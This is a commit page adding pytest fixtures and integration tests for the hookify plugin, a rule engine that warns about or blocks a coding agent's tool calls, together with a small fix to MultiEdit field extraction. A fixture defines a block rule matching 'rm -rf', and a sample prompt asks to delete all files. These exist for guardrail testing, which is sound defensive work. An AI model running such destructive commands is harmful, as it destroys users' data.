surshar / claude-code
Claude Code is an agentic coding tool that lives in your terminal, understands your codebase, and helps you code faster by executing routine tasks, explaining complex code, and handling git workflows - all through natural language commands.
Built by Anthropic · github.com/anthropics
Create comprehensive pytest integration test suite for the hookify plugin: - test_integration.py: Multi-hook evaluation, rule priority (blocking over warnings), condition AND logic, tool type field extraction, Stop/UserPromptSubmit events - test_rule_loading.py: YAML frontmatter parsing, rule file loading, event filtering - test_error_handling.py: Fault tolerance for missing files, invalid regex, malformed input Also fix a bug discovered through testing: MultiEdit field extraction now gracefully handles malformed edit entries (non-dict values in edits array). 68 tests covering: - Multiple rules combining messages - Blocking rules taking priority over warnings - Multiple conditions with AND logic - Different tool types (Bash, Write, Edit, MultiEdit) - Stop event transcript checking - UserPromptSubmit validation - Tool matcher filtering - Regex pattern matching and caching - Error handling and edge cases https://claude.ai/code/session_014B79JcfZHUaTfnThn3o3g2
| @@ -247,9 +247,13 @@ | ||
| 247 | 247 | if field == 'file_path': |
| 248 | 248 | return tool_input.get('file_path', '') |
| 249 | 249 | elif field in ['new_text', 'content']: |
| 250 | - # Concatenate all edits | |
| 250 | + # Concatenate all edits, handling malformed entries gracefully | |
| 251 | 251 | edits = tool_input.get('edits', []) |
| 252 | - return ' '.join(e.get('new_string', '') for e in edits) | |
| 252 | + parts = [] | |
| 253 | + for e in edits: | |
| 254 | + if isinstance(e, dict): | |
| 255 | + parts.append(e.get('new_string', '')) | |
| 256 | + return ' '.join(parts) | |
| 253 | 257 | |
| 254 | 258 | return None |
| 255 | 259 |
| @@ -1,0 +1,1 @@ | ||
| 1 | +"""Hookify integration tests.""" |
| @@ -1,0 +1,208 @@ | ||
| 1 | +"""Pytest fixtures for hookify integration tests.""" | |
| 2 | + | |
| 3 | +import os | |
| 4 | +import sys | |
| 5 | +import json | |
| 6 | +import tempfile | |
| 7 | +import shutil | |
| 8 | +from pathlib import Path | |
| 9 | +from typing import Generator, Dict, Any, List | |
| 10 | + | |
| 11 | +import pytest | |
| 12 | + | |
| 13 | +# Add parent directories to path for imports | |
| 14 | +PLUGIN_ROOT = Path(__file__).parent.parent | |
| 15 | +PLUGINS_DIR = PLUGIN_ROOT.parent | |
| 16 | +sys.path.insert(0, str(PLUGINS_DIR)) | |
| 17 | +sys.path.insert(0, str(PLUGIN_ROOT)) | |
| 18 | + | |
| 19 | +from hookify.core.config_loader import Rule, Condition, load_rules, extract_frontmatter | |
| 20 | +from hookify.core.rule_engine import RuleEngine | |
| 21 | + | |
| 22 | + | |
| 23 | +@pytest.fixture | |
| 24 | +def rule_engine() -> RuleEngine: | |
| 25 | + """Create a RuleEngine instance.""" | |
| 26 | + return RuleEngine() | |
| 27 | + | |
| 28 | + | |
| 29 | +@pytest.fixture | |
| 30 | +def temp_project_dir() -> Generator[Path, None, None]: | |
| 31 | + """Create a temporary project directory with .claude folder. | |
| 32 | + | |
| 33 | + This fixture creates a clean temp directory and changes to it, | |
| 34 | + then restores the original directory after the test. | |
| 35 | + """ | |
| 36 | + original_dir = os.getcwd() | |
| 37 | + temp_dir = tempfile.mkdtemp(prefix="hookify_test_") | |
| 38 | + | |
| 39 | + # Create .claude directory for rule files | |
| 40 | + claude_dir = Path(temp_dir) / ".claude" | |
| 41 | + claude_dir.mkdir() | |
| 42 | + | |
| 43 | + os.chdir(temp_dir) | |
| 44 | + | |
| 45 | + yield Path(temp_dir) | |
| 46 | + | |
| 47 | + os.chdir(original_dir) | |
| 48 | + shutil.rmtree(temp_dir) | |
| 49 | + | |
| 50 | + | |
| 51 | +@pytest.fixture | |
| 52 | +def sample_rule_file(temp_project_dir: Path) -> Path: | |
| 53 | + """Create a sample rule file for testing.""" | |
| 54 | + rule_content = """--- | |
| 55 | +name: block-rm-rf | |
| 56 | +enabled: true | |
| 57 | +event: bash | |
| 58 | +action: block | |
| 59 | +conditions: | |
| 60 | + - field: command | |
| 61 | + operator: regex_match | |
| 62 | + pattern: rm\\s+-rf | |
| 63 | +--- | |
| 64 | + | |
| 65 | +**Dangerous command blocked!** | |
| 66 | + | |
| 67 | +The `rm -rf` command can permanently delete files. Please use safer alternatives. | |
| 68 | +""" | |
| 69 | + rule_file = temp_project_dir / ".claude" / "hookify.dangerous-commands.local.md" | |
| 70 | + rule_file.write_text(rule_content) | |
| 71 | + return rule_file | |
| 72 | + | |
| 73 | + | |
| 74 | +@pytest.fixture | |
| 75 | +def create_rule_file(temp_project_dir: Path): | |
| 76 | + """Factory fixture to create rule files with custom content.""" | |
| 77 | + def _create(name: str, content: str) -> Path: | |
| 78 | + rule_file = temp_project_dir / ".claude" / f"hookify.{name}.local.md" | |
| 79 | + rule_file.write_text(content) | |
| 80 | + return rule_file | |
| 81 | + return _create | |
| 82 | + | |
| 83 | + | |
| 84 | +@pytest.fixture | |
| 85 | +def sample_bash_input() -> Dict[str, Any]: | |
| 86 | + """Sample PreToolUse input for Bash tool.""" | |
| 87 | + return { | |
| 88 | + "session_id": "test-session-123", | |
| 89 | + "hook_event_name": "PreToolUse", | |
| 90 | + "tool_name": "Bash", | |
| 91 | + "tool_input": { | |
| 92 | + "command": "ls -la" | |
| 93 | + }, | |
| 94 | + "cwd": "/test/project" | |
| 95 | + } | |
| 96 | + | |
| 97 | + | |
| 98 | +@pytest.fixture | |
| 99 | +def sample_write_input() -> Dict[str, Any]: | |
| 100 | + """Sample PreToolUse input for Write tool.""" | |
| 101 | + return { | |
| 102 | + "session_id": "test-session-123", | |
| 103 | + "hook_event_name": "PreToolUse", | |
| 104 | + "tool_name": "Write", | |
| 105 | + "tool_input": { | |
| 106 | + "file_path": "/test/project/src/main.py", | |
| 107 | + "content": "print('hello world')" | |
| 108 | + }, | |
| 109 | + "cwd": "/test/project" | |
| 110 | + } | |
| 111 | + | |
| 112 | + | |
| 113 | +@pytest.fixture | |
| 114 | +def sample_edit_input() -> Dict[str, Any]: | |
| 115 | + """Sample PreToolUse input for Edit tool.""" | |
| 116 | + return { | |
| 117 | + "session_id": "test-session-123", | |
| 118 | + "hook_event_name": "PreToolUse", | |
| 119 | + "tool_name": "Edit", | |
| 120 | + "tool_input": { | |
| 121 | + "file_path": "/test/project/src/main.py", | |
| 122 | + "old_string": "hello", | |
| 123 | + "new_string": "goodbye" | |
| 124 | + }, | |
| 125 | + "cwd": "/test/project" | |
| 126 | + } | |
| 127 | + | |
| 128 | + | |
| 129 | +@pytest.fixture | |
| 130 | +def sample_multiedit_input() -> Dict[str, Any]: | |
| 131 | + """Sample PreToolUse input for MultiEdit tool.""" | |
| 132 | + return { | |
| 133 | + "session_id": "test-session-123", | |
| 134 | + "hook_event_name": "PreToolUse", | |
| 135 | + "tool_name": "MultiEdit", | |
| 136 | + "tool_input": { | |
| 137 | + "file_path": "/test/project/src/main.py", | |
| 138 | + "edits": [ | |
| 139 | + {"old_string": "foo", "new_string": "bar"}, | |
| 140 | + {"old_string": "baz", "new_string": "qux"} | |
| 141 | + ] | |
| 142 | + }, | |
| 143 | + "cwd": "/test/project" | |
| 144 | + } | |
| 145 | + | |
| 146 | + | |
| 147 | +@pytest.fixture | |
| 148 | +def sample_stop_input(temp_project_dir: Path) -> Dict[str, Any]: | |
| 149 | + """Sample Stop event input with transcript file.""" | |
| 150 | + # Create a transcript file | |
| 151 | + transcript_file = temp_project_dir / "transcript.txt" | |
| 152 | + transcript_file.write_text(""" | |
| 153 | +User: Please implement the feature | |
| 154 | +Assistant: I'll implement that feature now. | |
| 155 | +[Uses Write tool to create file] | |
| 156 | +User: Great, now run the tests | |
| 157 | +Assistant: Running tests... | |
| 158 | +[Uses Bash tool: npm test] | |
| 159 | +All tests passed! | |
| 160 | +""") | |
| 161 | + | |
| 162 | + return { | |
| 163 | + "session_id": "test-session-123", | |
| 164 | + "hook_event_name": "Stop", | |
| 165 | + "reason": "Task completed", | |
| 166 | + "transcript_path": str(transcript_file), | |
| 167 | + "cwd": str(temp_project_dir) | |
| 168 | + } | |
| 169 | + | |
| 170 | + | |
| 171 | +@pytest.fixture | |
| 172 | +def sample_userprompt_input() -> Dict[str, Any]: | |
| 173 | + """Sample UserPromptSubmit event input.""" | |
| 174 | + return { | |
| 175 | + "session_id": "test-session-123", | |
| 176 | + "hook_event_name": "UserPromptSubmit", | |
| 177 | + "user_prompt": "Please delete all files in the directory", | |
| 178 | + "cwd": "/test/project" | |
| 179 | + } | |
| 180 | + | |
| 181 | + | |
| 182 | +def make_rule( | |
| 183 | + name: str, | |
| 184 | + event: str, | |
| 185 | + conditions: List[Dict[str, str]], | |
| 186 | + action: str = "warn", | |
| 187 | + message: str = "Test message", | |
| 188 | + enabled: bool = True, | |
| 189 | + tool_matcher: str = None | |
| 190 | +) -> Rule: | |
| 191 | + """Helper function to create Rule objects for testing.""" | |
| 192 | + cond_objects = [ | |
| 193 | + Condition( | |
| 194 | + field=c.get("field", ""), | |
| 195 | + operator=c.get("operator", "regex_match"), | |
| 196 | + pattern=c.get("pattern", "") | |
| 197 | + ) | |
| 198 | + for c in conditions | |
| 199 | + ] | |
| 200 | + return Rule( | |
| 201 | + name=name, | |
| 202 | + enabled=enabled, | |
| 203 | + event=event, | |
| 204 | + conditions=cond_objects, | |
| 205 | + action=action, | |
| 206 | + message=message, | |
| 207 | + tool_matcher=tool_matcher | |
| 208 | + ) |
| @@ -1,0 +1,497 @@ | ||
| 1 | +"""Tests for error handling and fault tolerance in hookify. | |
| 2 | + | |
| 3 | +Tests cover: | |
| 4 | +- Graceful handling of missing files | |
| 5 | +- Invalid JSON/YAML handling | |
| 6 | +- Regex compilation errors | |
| 7 | +- Transcript file access errors | |
| 8 | +- Import failures | |
| 9 | +- Edge cases and boundary conditions | |
| 10 | +""" | |
| 11 | + | |
| 12 | +import pytest | |
| 13 | +import os | |
| 14 | +from pathlib import Path | |
| 15 | +from typing import Dict, Any | |
| 16 | +from unittest.mock import patch, mock_open | |
| 17 | + | |
| 18 | +from hookify.core.config_loader import load_rules, load_rule_file, extract_frontmatter | |
| 19 | +from hookify.core.rule_engine import RuleEngine, compile_regex | |
| 20 | + | |
| 21 | + | |
| 22 | +class TestTranscriptFileErrors: | |
| 23 | + """Tests for handling transcript file access errors.""" | |
| 24 | + | |
| 25 | + def test_missing_transcript_file(self, rule_engine: RuleEngine, temp_project_dir): | |
| 26 | + """Test handling when transcript file doesn't exist.""" | |
| 27 | + stop_input = { | |
| 28 | + "hook_event_name": "Stop", | |
| 29 | + "reason": "Done", | |
| 30 | + "transcript_path": "/nonexistent/transcript.txt", | |
| 31 | + } | |
| 32 | + | |
| 33 | + rules = [ | |
| 34 | + _make_rule( | |
| 35 | + name="check-transcript", | |
| 36 | + event="stop", | |
| 37 | + conditions=[{"field": "transcript", "operator": "contains", "pattern": "test"}], | |
| 38 | + action="warn", | |
| 39 | + message="Test message" | |
| 40 | + ), | |
| 41 | + ] | |
| 42 | + | |
| 43 | + # Should not crash, transcript returns empty string | |
| 44 | + result = rule_engine.evaluate_rules(rules, stop_input) | |
| 45 | + # Rule shouldn't match since transcript is empty | |
| 46 | + assert result == {} | |
| 47 | + | |
| 48 | + def test_unreadable_transcript_file(self, rule_engine: RuleEngine, temp_project_dir): | |
| 49 | + """Test handling when transcript file is unreadable.""" | |
| 50 | + # Create file and remove read permissions | |
| 51 | + transcript_file = temp_project_dir / "unreadable.txt" | |
| 52 | + transcript_file.write_text("content") | |
| 53 | + os.chmod(transcript_file, 0o000) | |
| 54 | + | |
| 55 | + stop_input = { | |
| 56 | + "hook_event_name": "Stop", | |
| 57 | + "reason": "Done", | |
| 58 | + "transcript_path": str(transcript_file), | |
| 59 | + } | |
| 60 | + | |
| 61 | + rules = [ | |
| 62 | + _make_rule( | |
| 63 | + name="check-transcript", | |
| 64 | + event="stop", | |
| 65 | + conditions=[{"field": "transcript", "operator": "contains", "pattern": "test"}], | |
| 66 | + action="warn", | |
| 67 | + message="Test" | |
| 68 | + ), | |
| 69 | + ] | |
| 70 | + | |
| 71 | + try: | |
| 72 | + # Should not crash | |
| 73 | + result = rule_engine.evaluate_rules(rules, stop_input) | |
| 74 | + assert result == {} # No match since transcript couldn't be read | |
| 75 | + finally: | |
| 76 | + # Restore permissions for cleanup | |
| 77 | + os.chmod(transcript_file, 0o644) | |
| 78 | + | |
| 79 | + | |
| 80 | +class TestRegexErrors: | |
| 81 | + """Tests for regex compilation and matching errors.""" | |
| 82 | + | |
| 83 | + def test_invalid_regex_pattern(self, rule_engine: RuleEngine): | |
| 84 | + """Test handling of invalid regex patterns.""" | |
| 85 | + input_data = { | |
| 86 | + "hook_event_name": "PreToolUse", | |
| 87 | + "tool_name": "Bash", | |
| 88 | + "tool_input": {"command": "ls -la"} | |
| 89 | + } | |
| 90 | + | |
| 91 | + rules = [ | |
| 92 | + _make_rule( | |
| 93 | + name="invalid-regex", | |
| 94 | + event="bash", | |
| 95 | + conditions=[{"field": "command", "operator": "regex_match", "pattern": "[unclosed"}], | |
| 96 | + action="block", | |
| 97 | + message="Should not match" | |
| 98 | + ), | |
| 99 | + ] | |
| 100 | + | |
| 101 | + # Should not crash, invalid regex returns False (no match) | |
| 102 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 103 | + assert result == {} | |
| 104 | + | |
| 105 | + def test_catastrophic_backtracking_regex(self, rule_engine: RuleEngine): | |
| 106 | + """Test handling of potentially slow regex patterns.""" | |
| 107 | + input_data = { | |
| 108 | + "hook_event_name": "PreToolUse", | |
| 109 | + "tool_name": "Bash", | |
| 110 | + "tool_input": {"command": "a" * 100} | |
| 111 | + } | |
| 112 | + | |
| 113 | + # This pattern could cause catastrophic backtracking in some engines | |
| 114 | + # Python's re module handles this reasonably well | |
| 115 | + rules = [ | |
| 116 | + _make_rule( | |
| 117 | + name="complex-regex", | |
| 118 | + event="bash", | |
| 119 | + conditions=[{"field": "command", "operator": "regex_match", "pattern": "(a+)+$"}], | |
| 120 | + action="warn", | |
| 121 | + message="Matched" | |
| 122 | + ), | |
| 123 | + ] | |
| 124 | + | |
| 125 | + # Should complete without hanging | |
| 126 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 127 | + assert "Matched" in result.get("systemMessage", "") | |
| 128 | + | |
| 129 | + def test_regex_cache(self): | |
| 130 | + """Test that regex patterns are cached.""" | |
| 131 | + pattern = r"test\s+pattern" | |
| 132 | + | |
| 133 | + # Compile same pattern twice | |
| 134 | + regex1 = compile_regex(pattern) | |
| 135 | + regex2 = compile_regex(pattern) | |
| 136 | + | |
| 137 | + # Should be the same object due to caching | |
| 138 | + assert regex1 is regex2 | |
| 139 | + | |
| 140 | + | |
| 141 | +class TestMalformedInput: | |
| 142 | + """Tests for handling malformed input data.""" | |
| 143 | + | |
| 144 | + def test_missing_tool_name(self, rule_engine: RuleEngine): | |
| 145 | + """Test handling input without tool_name.""" | |
| 146 | + input_data = { | |
| 147 | + "hook_event_name": "PreToolUse", | |
| 148 | + # Missing tool_name | |
| 149 | + "tool_input": {"command": "test"} | |
| 150 | + } | |
| 151 | + | |
| 152 | + rules = [ | |
| 153 | + _make_rule( | |
| 154 | + name="test-rule", | |
| 155 | + event="bash", | |
| 156 | + conditions=[{"field": "command", "operator": "contains", "pattern": "test"}], | |
| 157 | + action="warn", | |
| 158 | + message="Test" | |
| 159 | + ), | |
| 160 | + ] | |
| 161 | + | |
| 162 | + # Should not crash | |
| 163 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 164 | + # May or may not match depending on implementation | |
| 165 | + | |
| 166 | + def test_missing_tool_input(self, rule_engine: RuleEngine): | |
| 167 | + """Test handling input without tool_input.""" | |
| 168 | + input_data = { | |
| 169 | + "hook_event_name": "PreToolUse", | |
| 170 | + "tool_name": "Bash", | |
| 171 | + # Missing tool_input | |
| 172 | + } | |
| 173 | + | |
| 174 | + rules = [ | |
| 175 | + _make_rule( | |
| 176 | + name="test-rule", | |
| 177 | + event="bash", | |
| 178 | + conditions=[{"field": "command", "operator": "contains", "pattern": "test"}], | |
| 179 | + action="warn", | |
| 180 | + message="Test" | |
| 181 | + ), | |
| 182 | + ] | |
| 183 | + | |
| 184 | + # Should not crash | |
| 185 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 186 | + assert result == {} # No match with missing input | |
| 187 | + | |
| 188 | + def test_null_values_in_input(self, rule_engine: RuleEngine): | |
| 189 | + """Test handling None values in tool_input.""" | |
| 190 | + input_data = { | |
| 191 | + "hook_event_name": "PreToolUse", | |
| 192 | + "tool_name": "Bash", | |
| 193 | + "tool_input": { | |
| 194 | + "command": None | |
| 195 | + } | |
| 196 | + } | |
| 197 | + | |
| 198 | + rules = [ | |
| 199 | + _make_rule( | |
| 200 | + name="test-rule", | |
| 201 | + event="bash", | |
| 202 | + conditions=[{"field": "command", "operator": "contains", "pattern": "test"}], | |
| 203 | + action="warn", | |
| 204 | + message="Test" | |
| 205 | + ), | |
| 206 | + ] | |
| 207 | + | |
| 208 | + # Should not crash | |
| 209 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 210 | + | |
| 211 | + def test_non_string_field_values(self, rule_engine: RuleEngine): | |
| 212 | + """Test handling non-string values that get converted.""" | |
| 213 | + input_data = { | |
| 214 | + "hook_event_name": "PreToolUse", | |
| 215 | + "tool_name": "Bash", | |
| 216 | + "tool_input": { | |
| 217 | + "command": 123 # Number instead of string | |
| 218 | + } | |
| 219 | + } | |
| 220 | + | |
| 221 | + rules = [ | |
| 222 | + _make_rule( | |
| 223 | + name="test-rule", | |
| 224 | + event="bash", | |
| 225 | + conditions=[{"field": "command", "operator": "contains", "pattern": "123"}], | |
| 226 | + action="warn", | |
| 227 | + message="Found number" | |
| 228 | + ), | |
| 229 | + ] | |
| 230 | + | |
| 231 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 232 | + # Should convert to string and match | |
| 233 | + assert "Found number" in result.get("systemMessage", "") | |
| 234 | + | |
| 235 | + | |
| 236 | +class TestRuleFileErrors: | |
| 237 | + """Tests for rule file loading errors.""" | |
| 238 | + | |
| 239 | + def test_malformed_yaml(self, create_rule_file): | |
| 240 | + """Test handling of malformed YAML in frontmatter.""" | |
| 241 | + content = """--- | |
| 242 | +name: test | |
| 243 | +enabled: [unclosed bracket | |
| 244 | +--- | |
| 245 | +message | |
| 246 | +""" | |
| 247 | + rule_file = create_rule_file("malformed", content) | |
| 248 | + rule = load_rule_file(str(rule_file)) | |
| 249 | + | |
| 250 | + # Should handle gracefully (may return None or partial data) | |
| 251 | + # The custom YAML parser is lenient | |
| 252 | + | |
| 253 | + def test_unicode_errors(self, temp_project_dir): | |
| 254 | + """Test handling of files with invalid unicode.""" | |
| 255 | + rule_file = temp_project_dir / ".claude" / "hookify.unicode.local.md" | |
| 256 | + | |
| 257 | + # Write binary content that's not valid UTF-8 | |
| 258 | + with open(rule_file, 'wb') as f: | |
| 259 | + f.write(b"---\nname: test\n---\n\xff\xfe invalid unicode") | |
| 260 | + | |
| 261 | + rule = load_rule_file(str(rule_file)) | |
| 262 | + assert rule is None # Should return None for encoding errors | |
| 263 | + | |
| 264 | + def test_empty_file(self, create_rule_file): | |
| 265 | + """Test handling of empty rule file.""" | |
| 266 | + rule_file = create_rule_file("empty", "") | |
| 267 | + rule = load_rule_file(str(rule_file)) | |
| 268 | + | |
| 269 | + assert rule is None | |
| 270 | + | |
| 271 | + | |
| 272 | +class TestFieldExtractionErrors: | |
| 273 | + """Tests for field extraction edge cases.""" | |
| 274 | + | |
| 275 | + def test_unknown_field_name(self, rule_engine: RuleEngine): | |
| 276 | + """Test handling of unknown field names.""" | |
| 277 | + input_data = { | |
| 278 | + "hook_event_name": "PreToolUse", | |
| 279 | + "tool_name": "Bash", | |
| 280 | + "tool_input": {"command": "test"} | |
| 281 | + } | |
| 282 | + | |
| 283 | + rules = [ | |
| 284 | + _make_rule( | |
| 285 | + name="test-rule", | |
| 286 | + event="bash", | |
| 287 | + conditions=[{"field": "nonexistent_field", "operator": "contains", "pattern": "test"}], | |
| 288 | + action="warn", | |
| 289 | + message="Test" | |
| 290 | + ), | |
| 291 | + ] | |
| 292 | + | |
| 293 | + # Should not crash, unknown field returns None -> no match | |
| 294 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 295 | + assert result == {} | |
| 296 | + | |
| 297 | + def test_multiedit_with_empty_edits(self, rule_engine: RuleEngine): | |
| 298 | + """Test MultiEdit tool with empty edits array.""" | |
| 299 | + input_data = { | |
| 300 | + "hook_event_name": "PreToolUse", | |
| 301 | + "tool_name": "MultiEdit", | |
| 302 | + "tool_input": { | |
| 303 | + "file_path": "/test/file.py", | |
| 304 | + "edits": [] # Empty edits | |
| 305 | + } | |
| 306 | + } | |
| 307 | + | |
| 308 | + rules = [ | |
| 309 | + _make_rule( | |
| 310 | + name="test-rule", | |
| 311 | + event="file", | |
| 312 | + conditions=[{"field": "new_text", "operator": "contains", "pattern": "test"}], | |
| 313 | + action="warn", | |
| 314 | + message="Test" | |
| 315 | + ), | |
| 316 | + ] | |
| 317 | + | |
| 318 | + # Should not crash | |
| 319 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 320 | + assert result == {} | |
| 321 | + | |
| 322 | + def test_multiedit_with_malformed_edits(self, rule_engine: RuleEngine): | |
| 323 | + """Test MultiEdit tool with malformed edit entries.""" | |
| 324 | + input_data = { | |
| 325 | + "hook_event_name": "PreToolUse", | |
| 326 | + "tool_name": "MultiEdit", | |
| 327 | + "tool_input": { | |
| 328 | + "file_path": "/test/file.py", | |
| 329 | + "edits": [ | |
| 330 | + {"invalid": "entry"}, # Missing new_string | |
| 331 | + None, # Null entry | |
| 332 | + "not a dict" # Wrong type | |
| 333 | + ] | |
| 334 | + } | |
| 335 | + } | |
| 336 | + | |
| 337 | + rules = [ | |
| 338 | + _make_rule( | |
| 339 | + name="test-rule", | |
| 340 | + event="file", | |
| 341 | + conditions=[{"field": "new_text", "operator": "contains", "pattern": "test"}], | |
| 342 | + action="warn", | |
| 343 | + message="Test" | |
| 344 | + ), | |
| 345 | + ] | |
| 346 | + | |
| 347 | + # Should handle gracefully | |
| 348 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 349 | + | |
| 350 | + | |
| 351 | +class TestOperatorEdgeCases: | |
| 352 | + """Tests for operator edge cases.""" | |
| 353 | + | |
| 354 | + def test_unknown_operator(self, rule_engine: RuleEngine): | |
| 355 | + """Test handling of unknown operator.""" | |
| 356 | + input_data = { | |
| 357 | + "hook_event_name": "PreToolUse", | |
| 358 | + "tool_name": "Bash", | |
| 359 | + "tool_input": {"command": "test"} | |
| 360 | + } | |
| 361 | + | |
| 362 | + rules = [ | |
| 363 | + _make_rule( | |
| 364 | + name="test-rule", | |
| 365 | + event="bash", | |
| 366 | + conditions=[{"field": "command", "operator": "unknown_op", "pattern": "test"}], | |
| 367 | + action="warn", | |
| 368 | + message="Test" | |
| 369 | + ), | |
| 370 | + ] | |
| 371 | + | |
| 372 | + # Unknown operator returns False -> no match | |
| 373 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 374 | + assert result == {} | |
| 375 | + | |
| 376 | + def test_empty_pattern(self, rule_engine: RuleEngine): | |
| 377 | + """Test handling of empty pattern.""" | |
| 378 | + input_data = { | |
| 379 | + "hook_event_name": "PreToolUse", | |
| 380 | + "tool_name": "Bash", | |
| 381 | + "tool_input": {"command": "test"} | |
| 382 | + } | |
| 383 | + | |
| 384 | + rules = [ | |
| 385 | + _make_rule( | |
| 386 | + name="test-rule", | |
| 387 | + event="bash", | |
| 388 | + conditions=[{"field": "command", "operator": "contains", "pattern": ""}], | |
| 389 | + action="warn", | |
| 390 | + message="Empty pattern" | |
| 391 | + ), | |
| 392 | + ] | |
| 393 | + | |
| 394 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 395 | + # Empty string is contained in any string | |
| 396 | + assert "Empty pattern" in result.get("systemMessage", "") | |
| 397 | + | |
| 398 | + def test_special_characters_in_pattern(self, rule_engine: RuleEngine): | |
| 399 | + """Test patterns with special regex characters when using 'contains'.""" | |
| 400 | + input_data = { | |
| 401 | + "hook_event_name": "PreToolUse", | |
| 402 | + "tool_name": "Bash", | |
| 403 | + "tool_input": {"command": "echo $HOME"} | |
| 404 | + } | |
| 405 | + | |
| 406 | + rules = [ | |
| 407 | + _make_rule( | |
| 408 | + name="test-rule", | |
| 409 | + event="bash", | |
| 410 | + conditions=[{"field": "command", "operator": "contains", "pattern": "$HOME"}], | |
| 411 | + action="warn", | |
| 412 | + message="Found $HOME" | |
| 413 | + ), | |
| 414 | + ] | |
| 415 | + | |
| 416 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 417 | + # 'contains' does literal string matching, not regex | |
| 418 | + assert "Found $HOME" in result.get("systemMessage", "") | |
| 419 | + | |
| 420 | + | |
| 421 | +class TestConcurrentRuleEvaluation: | |
| 422 | + """Tests for multiple rules with various states.""" | |
| 423 | + | |
| 424 | + def test_mixed_match_states(self, rule_engine: RuleEngine): | |
| 425 | + """Test evaluation with mix of matching and non-matching rules.""" | |
| 426 | + input_data = { | |
| 427 | + "hook_event_name": "PreToolUse", | |
| 428 | + "tool_name": "Bash", | |
| 429 | + "tool_input": {"command": "ls -la"} | |
| 430 | + } | |
| 431 | + | |
| 432 | + rules = [ | |
| 433 | + _make_rule( | |
| 434 | + name="match-ls", | |
| 435 | + event="bash", | |
| 436 | + conditions=[{"field": "command", "operator": "contains", "pattern": "ls"}], | |
| 437 | + action="warn", | |
| 438 | + message="Found ls" | |
| 439 | + ), | |
| 440 | + _make_rule( | |
| 441 | + name="no-match-rm", | |
| 442 | + event="bash", | |
| 443 | + conditions=[{"field": "command", "operator": "contains", "pattern": "rm"}], | |
| 444 | + action="block", | |
| 445 | + message="Found rm" | |
| 446 | + ), | |
| 447 | + _make_rule( | |
| 448 | + name="match-dash", | |
| 449 | + event="bash", | |
| 450 | + conditions=[{"field": "command", "operator": "contains", "pattern": "-"}], | |
| 451 | + action="warn", | |
| 452 | + message="Found dash" | |
| 453 | + ), | |
| 454 | + ] | |
| 455 | + | |
| 456 | + result = rule_engine.evaluate_rules(rules, input_data) | |
| 457 | + | |
| 458 | + # Should have warnings from matching rules | |
| 459 | + assert "Found ls" in result.get("systemMessage", "") | |
| 460 | + assert "Found dash" in result.get("systemMessage", "") | |
| 461 | + # Should not have blocking (rm rule didn't match) | |
| 462 | + assert "hookSpecificOutput" not in result | |
| 463 | + | |
| 464 | + def test_empty_rules_list(self, rule_engine: RuleEngine): | |
| 465 | + """Test evaluation with empty rules list.""" | |
| 466 | + input_data = { | |
| 467 | + "hook_event_name": "PreToolUse", | |
| 468 | + "tool_name": "Bash", | |
| 469 | + "tool_input": {"command": "ls"} | |
| 470 | + } | |
| 471 | + | |
| 472 | + result = rule_engine.evaluate_rules([], input_data) | |
| 473 | + assert result == {} | |
| 474 | + | |
| 475 | + | |
| 476 | +# Helper function to create rules for tests | |
| 477 | +def _make_rule(name, event, conditions, action="warn", message="Test", enabled=True, tool_matcher=None): | |
| 478 | + """Helper to create Rule objects.""" | |
| 479 | + from hookify.core.config_loader import Rule, Condition | |
| 480 | + | |
| 481 | + cond_objects = [ | |
| 482 | + Condition( | |
| 483 | + field=c.get("field", ""), | |
| 484 | + operator=c.get("operator", "regex_match"), | |
| 485 | + pattern=c.get("pattern", "") | |
| 486 | + ) | |
| 487 | + for c in conditions | |
| 488 | + ] | |
| 489 | + return Rule( | |
| 490 | + name=name, | |
| 491 | + enabled=enabled, | |
| 492 | + event=event, | |
| 493 | + conditions=cond_objects, | |
| 494 | + action=action, | |
| 495 | + message=message, | |
| 496 | + tool_matcher=tool_matcher | |
| 497 | + ) |
| @@ -1,0 +1,662 @@ | ||
| 1 | +"""Integration tests for multi-hook scenarios in hookify. | |
| 2 | + | |
| 3 | +Tests cover: | |
| 4 | +- Multiple hooks running against same input | |
| 5 | +- Hook priority (blocking rules over warnings) | |
| 6 | +- Cross-event state management | |
| 7 | +- Different tool types with varying field structures | |
| 8 | +- Error handling and fault tolerance | |
| 9 | +""" | |
| 10 | + | |
| 11 | +import pytest | |
| 12 | +from typing import Dict, Any, List | |
| 13 | + | |
| 14 | +from hookify.core.config_loader import Rule, Condition, load_rules | |
| 15 | +from hookify.core.rule_engine import RuleEngine | |
| 16 | + | |
| 17 | + | |
| 18 | +def make_rule( | |
| 19 | + name: str, | |
| 20 | + event: str, | |
| 21 | + conditions: List[Dict[str, str]], | |
| 22 | + action: str = "warn", | |
| 23 | + message: str = "Test message", | |
| 24 | + enabled: bool = True, | |
| 25 | + tool_matcher: str = None | |
| 26 | +) -> Rule: | |
| 27 | + """Helper function to create Rule objects for testing.""" | |
| 28 | + cond_objects = [ | |
| 29 | + Condition( | |
| 30 | + field=c.get("field", ""), | |
| 31 | + operator=c.get("operator", "regex_match"), | |
| 32 | + pattern=c.get("pattern", "") | |
| 33 | + ) | |
| 34 | + for c in conditions | |
| 35 | + ] | |
| 36 | + return Rule( | |
| 37 | + name=name, | |
| 38 | + enabled=enabled, | |
| 39 | + event=event, | |
| 40 | + conditions=cond_objects, | |
| 41 | + action=action, | |
| 42 | + message=message, | |
| 43 | + tool_matcher=tool_matcher | |
| 44 | + ) | |
| 45 | + | |
| 46 | + | |
| 47 | +class TestMultipleRulesEvaluation: | |
| 48 | + """Tests for evaluating multiple rules against the same input.""" | |
| 49 | + | |
| 50 | + def test_multiple_warning_rules_combined(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 51 | + """Multiple warning rules should combine their messages.""" | |
| 52 | + rules = [ | |
| 53 | + make_rule( | |
| 54 | + name="warn-ls", | |
| 55 | + event="bash", | |
| 56 | + conditions=[{"field": "command", "operator": "contains", "pattern": "ls"}], | |
| 57 | + action="warn", | |
| 58 | + message="ls command detected" | |
| 59 | + ), | |
